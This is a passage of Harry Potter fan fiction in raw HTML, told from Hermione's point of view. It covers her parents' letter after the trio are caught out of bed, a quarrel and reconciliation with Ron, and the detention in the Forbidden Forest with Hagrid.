was\neven beginning to be respected by her peers.&nbsp;\nNow she had nothing.&nbsp; The only\npeople who would speak to her were Ron and Harry and they barely said anything\nas well.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The entire school\nhad turned on Harry, Hermione and Neville.&nbsp;\nThey had lost so many points from Gryffindor that there was no way they\ncould win the house cup.&nbsp; Slytherin had\nbeen winning it for years now and this was the first year that Gryffindor had a\nchance to defeat them.&nbsp; Now there was no\nhope.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\nother things to worry about though.&nbsp;\nMonday morning, she got a letter.&nbsp;\nShe had been dreading its arrival as she knew it would be from her\nparents.&nbsp; When she opened it though, she\nfound that it wasn&#8217;t from her father but rather her mother which made the words\nten times worse.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Hermione,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">We just received word from your deputy\nheadmistress that you and your friends were caught out of bed Saturday\nevening.&nbsp; From what we can gather you and\nyour friends were playing a joke on another student and it got dangerously out\nof hand.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">I don&#8217;t think I need to tell you that\nyour father and I are very disappointed in you.&nbsp;\nI can understand that you want to balance your school work and social\nlife, and you know that I&#8217;ve always supported your choices, but after reading\nthis letter I can see things have gotten way out of control.&nbsp; Perhaps you are just too young to be off of\nyour own.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">I know how happy you&#8217;ve been at\nHogwarts but your father and I have to do what we feel is best for you.&nbsp; So we&#8217;re going to have a nice long talk when\nyou get home at the end of term about what we&#8217;re going to do for school next\nyear.&nbsp; There definitely need to be some\nchanges.&nbsp; We hope that you will stay out\nof trouble for the remainder of the year as we do not want to receive any more\ndisturbing correspondences from your school.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">Remember that we love you Hermione and\nthat we&#8217;re not doing this to make your life miserable.&nbsp; We just want to do what&#8217;s right for you.&nbsp; We&#8217;ll talk more about it when you arrive\nhome.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione read and\nreread the letter all that week.&nbsp; There\nwas no doubt; her parents were going to pull her out of Hogwarts.&nbsp; There was nothing she could do about it.&nbsp; McGonagall&#8217;s letter had sealed her fate.&nbsp; She didn&#8217;t know what to do except end the\nyear on as positive a note as possible and hope that her negotiating skills\ncould at least keep her out of boarding school for the rest of her academic\ncareer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione began to\nrealize how fickle people could really be.&nbsp;\nAt the beginning of the year she was despised by almost everyone because\nshe knew so much.&nbsp; Then she became\nfriends with Harry Potter and people started to like her.&nbsp; Then when the rumor spread that she had saved\nHarry&#8217;s life, she was fairly popular.&nbsp;\nNow she was an outcast again.&nbsp; It\nmade her realize that she couldn&#8217;t depend on anyone.&nbsp; The only person who didn&#8217;t seem to be fickle\nwas Harry but right now that hardly mattered since everyone hated him now too.&nbsp; She wondered if it would ever blow over.&nbsp; She wondered if it even mattered since the\nchances of her returning next year were non-existent.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As much as she\nwanted to, Hermione didn&#8217;t return to her secret place on the ramparts because\nshe didn&#8217;t want to risk sneaking out of Gryffindor in the middle of the\nnight.&nbsp; So she spent most of her time\nwith Harry and Ron in the library or off in a corner of the common room.&nbsp; Everyone left them alone and she was actually\nglad for this.&nbsp; She made sure to go to\nbed long after her two roommates because she didn&#8217;t want to be in the same room\nalone with the two of them.&nbsp; She had no\nidea what they thought of the whole ordeal and didn&#8217;t want to know.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The thing that\nupset Hermione the most was that they had gotten in trouble to protect Hagrid\nand now it looked as if Hagrid wasn&#8217;t going to stick up for them.&nbsp; Of course Harry would never tell on the\ngamekeeper, not after all he had done to keep him out of trouble, but Hermione\nhad thought that when word spread about what happened, Hagrid would finally\nspeak up and admit to Dumbledore what was really going on.&nbsp; It seemed though that Hagrid was either too\nbroken up about losing Norbert or too afraid of what might happen to him if\nword got out about his illegal dragon.&nbsp;\nIn either case, he had said nothing on their behalf.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The only true\nblessing was that time seem to go by remarkably fast now.&nbsp; She floated through each day in a haze.&nbsp; She barely remembered anything about her\nclasses, meals, or any time that involved interacting with her\nschoolmates.&nbsp; The only times that seemed\nlucid in her memory were when she was with Harry and Ron, alone.&nbsp; They only spoke about homework and exams and\nHermione was grateful for this.&nbsp; She felt\nthat talking about their present predicament would only make things worse.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry seemed to\nbe thinking along the same lines.&nbsp; He\ndidn&#8217;t have to worry about his aunt and uncle being mad at him.&nbsp; In fact from what she could tell, they didn&#8217;t\neven read the letter that McGonagall had sent.&nbsp;\nStill, he had to stay away from the other students.&nbsp; He had it much worse than she did.&nbsp; All Hermione had to do was stay quiet and\nclass and avoid pretty much everyone and she was left alone.&nbsp; But Harry was already so famous and so well known\nthat people from every house sought him out to mock him or express their anger.&nbsp; He had nowhere to escape.&nbsp; Even the other members of the house quidditch\nteam had completely abandoned him.&nbsp; So\nnow he, like Hermione, was spending all his free time studying for the upcoming\nexams.&nbsp; He rarely spoke about anything\nelse, until one early afternoon about a week after they&#8217;d gotten into trouble.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry, Ron and\nHermione were in the library studying astronomy when he suddenly slammed his\nbook down. &#8220;I&#8217;ve got to have a break.&nbsp; I\nthink I&#8217;ll go up to the tower and grab a snack from our dormitory.&#8221; He got up\nfrom their table and started out of the library.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bring me\nsomething too, would ya,&#8221; Ron called after him. &#8220;Oy,\nhe&#8217;s havin&#8217; a time,&#8221; he said to Hermione. &#8220;I&#8217;ve never\nseen him like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione only\nnodded numbly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not\nlooking well yourself,&#8221; Ron said concerned. &#8220;You shouldn&#8217;t worry so much; it&#8217;s\nthe end of the year.&nbsp; By next term,\nthis&#8217;ll be old news.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Too bad I won&#8217;t be here next year,&#8221;</i>\nHermione thought to herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on, quiz\nme,&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want to see\nhow much of this stuff I&#8217;ve actually learned.&nbsp;\nQuiz me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed\nand picked up their astronomy book. &#8220;Alright, you asked for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She drilled Ron\non the material for several minutes.&nbsp; To\nher surprise he was doing quite well.&nbsp;\nThen suddenly, Harry burst back into the library.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you bring me\nback something?&#8221; Ron asked. &#8220;I&#8217;m starved.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You just had\nlunch,&#8221; Hermione chastised.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s happening,&#8221;\nHarry said, a look of panic on his face. &#8220;Snape&#8217;s done\nit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s got to Quirrell?&#8221;\nHermione asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Snape&#8217;s done it\nthen,&#8221; Ron sighed. &#8220;If Quirrell&#8217;s told him how to break his anti-dark-force\nspell&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s still Fluffy though,&#8221; Hermione reminded him.&nbsp; She knew where Ron&#8217;s logic was going.&nbsp; She could see the light of adventure being\nrekindled in his eyes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Ron shrugged. &#8220;Maybe Snape&#8217;s found out how to\nget past him without asking Hagrid.&nbsp; I\nbet there&#8217;s a book somewhere in here telling you how to get past a giant,\nthree-headed dog.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nseriously doubted this as she had been looking on and off for creatures like\nFluffy ever since she&#8217;d seen him and hadn&#8217;t found one yet.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what do we do\nHarry?&#8221; Ron asked finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Go to\nDumbledore,&#8221; Hermione pleaded.&nbsp; She knew\nhow persuasive Ron could be and for once she didn&#8217;t want Harry to go along with\none of his schemes. &#8220;That&#8217;s what we should have done ages ago.&nbsp; If we try anything ourselves, we&#8217;ll be thrown\nout for sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry plopped\ndown in his seat.&nbsp; He looked utterly\ndefeated. &#8220;But we&#8217;ve got no proof.&nbsp; Quirrell&#8217;s\ntoo scared to back us up.&nbsp; Snape&#8217;s only\ngot to say he doesn&#8217;t know how the troll got in at Halloween and that he was\nnowhere near the third floor.&nbsp; Who do you\nthink they&#8217;ll believe, him or us?&nbsp; It&#8217;s not exactly a secret we hate him.&nbsp; Dumbledore will think we made it up to get\nhim sacked.&nbsp; Filch wouldn&#8217;t help if his\nlife depended on it.&nbsp; He&#8217;s too friendly\nwith Snape and the more students get thrown out, the better he&#8217;ll think.&nbsp; And don&#8217;t forget; we&#8217;re not supposed to know\nabout the stone, or Fluffy.&nbsp; That&#8217;ll take\na lot of explaining. &#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He turned and\nlooked at Hermione and she knew he was serious.&nbsp;\nHe didn&#8217;t want to get involved.&nbsp;\nHe didn&#8217;t want any part of the Sorcerer&#8217;s Stone.&nbsp; He just wanted to get out of this mess.&nbsp; She nodded at him as if to tell him that she\nunderstood.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron however\ndidn&#8217;t seem to understand, &#8220;If we just did a bit of poking around&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No!&nbsp; We&#8217;ve done enough poking around,&#8221; he said\npulling an astronomy chart towards him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But Harry, we\ncan&#8217;t let Snape get the stone,&#8221; Ron pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes we can Ron,&#8221;\nHermione reasoned. &#8220;What do you think will happen when he does?&nbsp; Dumbledore will know about it.&nbsp; Even if Snape tries to run, the Ministry of\nMagic will be after him.&nbsp; He won&#8217;t even\nbe able to enjoy the stone when he steals it.&nbsp;\nWe should just let them handle it when it happens and stop trying to do\nit ourselves.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah but if <i style="mso-bidi-font-style:normal">we</i> stop Snape, then maybe we can earn\nback the points that were lost for Gryffindor.&nbsp;\nWe&#8217;d win the house cup and we&#8217;d be heroes to boot,&#8221; Ron said with a\ngleam in his eyes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had had\nenough. &#8220;I don&#8217;t believe you Ron Weasley! &nbsp;Is that all you can think of; just a little\nmore fame and glory.&nbsp; Never mind that\nHarry and I have been completely ostracized by the entire school.&nbsp; Never mind that McGonagall will be watching\nour every step and wouldn&#8217;t hesitate to expel us if we so much as put one toe\nout of line.&nbsp; Oh no, you don&#8217;t care at\nall.&nbsp; So long as you&#8217;re not in the line\nof fire, you just keep pushing and pushing.&nbsp;\nYou&#8217;re a rat, Ron.&nbsp; No, that&#8217;s an\ninsult to Scabbers.&nbsp; You&#8217;re worse than a\nrat.&#8221;&nbsp; She grabbed her bag and stormed\nout of the library.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;Now you&#8217;ve done it,&#8221; Harry said not troubling\nto look up from the chart he was reading.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why&#8217;s she wound\nso tight?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s got a lot\non her mind.&nbsp; Maybe if you did more than\nargue with her, you&#8217;d see that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook his\nhead. &#8220;I can&#8217;t help but fight with her, she asks for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Funny, I manage\njust fine,&#8221; Harry said, moving on to another chart.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron opened his\nmouth to say something, but then closed it again.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione, keeping\ntrue to her promise not to go sneaking around out of bounds, didn&#8217;t go to the\nramparts after she stormed out of the library, though she really wanted to.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She needed to\njust get away from things but that wasn&#8217;t really an option.&nbsp; So instead, she found a corner of the common\nroom and piled as many books as she could in front of her so that no one would\nsee her or bother her.&nbsp; It worked for a\nwhile but then a freckled faced, red-headed boy poked\nhis head over the stack of books.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was Ron. &#8220;Oy, is\nthere a Hermione Granger in there somewhere,&#8221; he said cheerily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him\na disgusted look. &#8220;What do you want?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron held up his\nhands as if he were surrendering. &#8220;I just wanted to talk that&#8217;s all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;About what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, I don&#8217;t\nknow,&#8221; Ron admitted. &#8220;You seem to be a little stressed lately.&nbsp; Just thought I&#8217;d see if you\nwere okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know me,&#8221;\nHermione scoffed. &#8220;I&#8217;m just all caught up in school work. It&#8217;s all I can think\nabout: school, school, school!&#8221; She wasn&#8217;t going to make this easy on Ron.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron sat down and\npushed the books to one side so he could see her. &#8220;Okay, I guess I deserved\nthat bit of sarcasm.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione returned\nto her reading. &#8220;Yes you did.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I just came\nover to say sorry for giving you such a hard way to go.&nbsp; I know you&#8217;ve got a lot more on your mind and\nthat you don&#8217;t want to get in any more trouble.&nbsp;\nI guess I was being just a little selfish.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes you were,&#8221;\nHermione agreed readily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron huffed. &#8220;And\nI&#8217;m <i style="mso-bidi-font-style:normal">apologizing</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione finally\nput the book down and smiled at him. &#8220;Apology accepted.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good, &#8216;cause for\na moment there I thought I might have to put it in writing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Next time you\nmight have to,&#8221; Hermione assured him as she returned to her reading.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The next morning\nat breakfast, Hermione received a note telling her that she was to serve\ndetention that evening starting at 11.&nbsp;\nThey were to meet Filch in the entrance hall, but it didn&#8217;t say what\nthey would be doing.&nbsp; Hermione found it\nvaguely ironic that they would be serving detention at almost the same time\nthey snuck out of Gryffindor the night they were caught.&nbsp; Perhaps this was some sort of poetic\njustice.&nbsp; Harry had gotten the same note\nand she could see that Neville had gotten a note as well.&nbsp; So it looked like they would all be serving\ndetention together.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Well at least I won&#8217;t have to be with Filch\nalone,&#8221;</i> she thought to herself.&nbsp;\nAlthough she didn&#8217;t know how Neville would feel about it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville hadn&#8217;t spoken\nto her or Harry since the incident.&nbsp; He\nhad been just as cold to them as the rest of the students even though he was\nbeing shunned by the school as well.&nbsp;\nHermione wondered if he&#8217;d finally come around during their detention.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It didn&#8217;t seem\nthat she would have long to wait.&nbsp; The\nday flew by and before she knew it, it was almost 11.&nbsp; She didn&#8217;t even realize the time until she\nfelt a hand on her shoulder while she was sitting in the common room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on,&#8221; Harry\nsaid quietly with a sigh. &#8220;It&#8217;s time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood\nautomatically.&nbsp; She felt like she was on\nautopilot.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville descended\nthe stairs from the dormitories. &#8220;Well, let&#8217;s get this over with.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione could\ntell by the tone in his voice that he was more scared than angry now.&nbsp; He didn&#8217;t know what Filch had in store for them\nbut it was bound to be horrid.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll wait up for\nyou,&#8221; Ron offered as the trio started towards the portrait exit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione,\nNeville, and Harry made their way slowly to the entrance hall.&nbsp; Filch was there, along with Malfoy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Great, we have to serve detention with\nhim,&#8221;</i> Hermione thought to herself.&nbsp;\nShe remembered how excited she was when she found out Malfoy had gotten\ndetention, now she was almost wishing he had gotten off.&nbsp; The evening would be all the worse if they\nhad to serve their punishment with him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Filch led them\nout of the castle and started ranting about how if he had his way, they&#8217;d be\nhanging from their wrists instead of serving detention.&nbsp; Hermione ignored him.&nbsp; Filch didn&#8217;t really scare her and neither did\nwhatever detention he had in store for them.&nbsp;\nShe knew that whatever it was she would be coming back from it\nalive.&nbsp; Dumbledore would never allow\nFilch to go too far.&nbsp; No, what occupied\nher mind was what would happen after the detention.&nbsp; Exams were close and then she would be back on\nthe train; headed home to face her parents.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Hermione finally noticed that they were\nwalking directly towards the lighted windows of Hagrid&#8217;s Hut.&nbsp; Hagrid himself was waiting outside.&nbsp; Hermione smiled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8221;Well this is a clever twist of fate. We get\ndetention for protecting Hagrid and it&#8217;s Hagrid who\nwe&#8217;re serving detention with.&#8221;</i> </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s into the\nforest you&#8217;re going,&#8221; Filch was saying now. &#8220;And I&#8217;m much mistaken if you&#8217;ll\nall come out in one piece.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had to\ncontain a giggle as she watched Malfoy stutter with rage at the prospect of\ngoing into the forest.&nbsp; Of course it was\nforbidden for a reason; there were all sorts of creatures lurking inside.&nbsp; She had read all about the forest in\n&#8220;Hogwarts:&nbsp; A History&#8221; and she knew that\nthough the forest was extremely dangerous there were very few instances of\nanyone being killed inside it.&nbsp; Of course\nshe was nervous too, but they had Hagrid and his large boarhound Fang with\nthem.&nbsp; She was fairly sure that they\nwould be fine no matter what they had to do.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She waited\npatiently and quietly as Malfoy argued with Hagrid now about going into the\nforest.&nbsp; He was fighting a losing\nbattle.&nbsp; Apparently he expected his\ndetention to be with Snape, just like the last one he got when McGonagall\ncaught him out of bed after Ron&#8217;s night birthday party.&nbsp; Hermione had heard from the Patil twins that\nMalfoy was bragging about having an easy detention.&nbsp; He&#8217;d spent an hour copying lines in Snape&#8217;s\ndungeon classroom and that was it.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Serves him right,&#8221; </i>Hermione thought to\nherself as they headed towards the forest.&nbsp;\nShe would gladly spend a few hours with Malfoy in the forbidden forest\nif it meant he was getting the kind of punishment he rightfully deserved.&nbsp; After all, this whole fiasco was partially\nhis fault. <i style="mso-bidi-font-style:normal">&#8220;If he&#8217;d have just minded his\nown business, the little snot, we wouldn&#8217;t be in this mess now.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid was\nexplaining their task and Hermione gasped as she looked at the path leading\ninto the forest, not because of the forest itself but the silver liquid that\nHagrid was showing them and what it represented.&nbsp; A unicorn, one of the most beautiful\ncreatures in the magical world, was dying in the forest. &nbsp;Hermione was amazed to learn that some\ncreature in the forest had hurt it and had apparently killed another one\nseveral days before.&nbsp; She didn&#8217;t think\nthere was anything in the forest that could hurt a unicorn; they were far too\nfast and magical.&nbsp; Not even the\nthree-headed beast, fluffy, could catch one.&nbsp;\nShe shuddered, this time it was because she was afraid of what awaited\nthem.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy voiced the\nsame fears. &#8220;And what if whatever hurt the unicorn finds us first.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s nothing\nthat lives in the forest that&#8217;ll hurt you if you&#8217;re with me or Fang,&#8221; Hagrid\nsaid matter-of-factly.&nbsp; He sounded very\nsure about this and Hagrid was big enough to protect himself but Hermione\nseriously doubted that he knew everything about the forbidden forest.&nbsp; Still she figured as long as they kept to the\npath, as Hagrid advised, they&#8217;d be relatively safe, at least that&#8217;s what she\nkept telling herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid divided\nthem into two groups.&nbsp; Neville and Malfoy\nwould go with Fang the boarhound down one path and she and Harry were with\nHagrid and his large crossbow down another.&nbsp;\nThe four students practiced sending up different color sparks from their\nwands; green to indicate they&#8217;d found the unicorn and red if they were in any\ndanger.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione noticed\nthat Hagrid didn&#8217;t have a wand.&nbsp; From\nwhat she had heard about the game keeper, he wasn&#8217;t allowed to do magic because\nhe was expelled from Hogwarts when he was young.&nbsp; He never said why, though Hermione thought\nshe could guess.&nbsp; Hagrid was likely to be\nthe kind of student who would raise monsters in his dormitory.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The two groups\nfinally started into the forest.&nbsp; Hermione&#8217;s\ncuriosity soon overcame her fears. &nbsp;She&#8217;d\nprobably never have another opportunity to see the inside of the forbidden\nforest so she took everything in.&nbsp; The trees\nseemed to have an aura of their own and she knew that even if it were high\nnoon, it would probably still be almost pitch black underneath these\ntrees.&nbsp; Moonlight did filter in every now\nand again, but they were basically walking in darkness.&nbsp; Hermione considered lighting her wand, but\nshe didn&#8217;t want to draw any undo attention.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you alright,\nHermione,&#8221; Hagrid asked after a while.&nbsp;\nShe realized she&#8217;d been unusually quiet the whole time.&nbsp; Hermione was about to answer when suddenly\nHagrid ceased her and Harry. &#8220;Get behind that tree,&#8221; he said as he placed the\nbodily behind one of the dark oak trees on the side of the path.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nknow what to think as she watched him raise his crossbow, aiming it at the\nblack nothingness ahead.&nbsp; There was a\nrustling sound, and Hermione involuntarily shivered.&nbsp; Something was out there.&nbsp; The noise drifted further away and Harry and\nHermione came from behind the tree.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I knew it.&nbsp; There&#8217;s summat in\nhere that shouldn&#8217;t be,&#8221; Hagrid said as he lowered the crossbow.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gulped,\nand she began to wonder if perhaps this detention was a little too severe for\ntheir crime.&nbsp; Would they really make it\nout alive?&nbsp; Why had Dumbledore allowed\nsomething like this?&nbsp; He should be\nconcerned for the student&#8217;s safety.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They continued\ndown the path even more slowly and in complete silence this time.&nbsp; Then suddenly there was another\nrustling.&nbsp; Hermione had the almost\nuncontrollable urge to run as Hagrid quickly raised his crossbow again and\nstarted shouting into the darkness.&nbsp; This\ntime though, something appeared in the clearing ahead of them.&nbsp; Hermione recognized it immediately as a\ncentaur.&nbsp; It was half man, half\nhorse.&nbsp; She never knew that centaurs\nlived in the forest but they were supposed to be relatively friendly creatures\nand this was confirmed when Hagrid lowered his weapon, a look of relief on his\nface.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, it&#8217;s you Ronan.&nbsp; How are you?&#8221; Hagrid obviously knew him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and\nHarry waited quietly to be introduced as the two friends greeted each\nother.&nbsp; &#8220;This is Harry Potter and\nHermione Granger by the way, students up at the school.&#8221; Hagrid said finally.\n&#8220;And this is Ronan, you two; he&#8217;s a centaur.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;d noticed,&#8221;\nHermione muttered.&nbsp; She&#8217;d overcome most\nof her initial 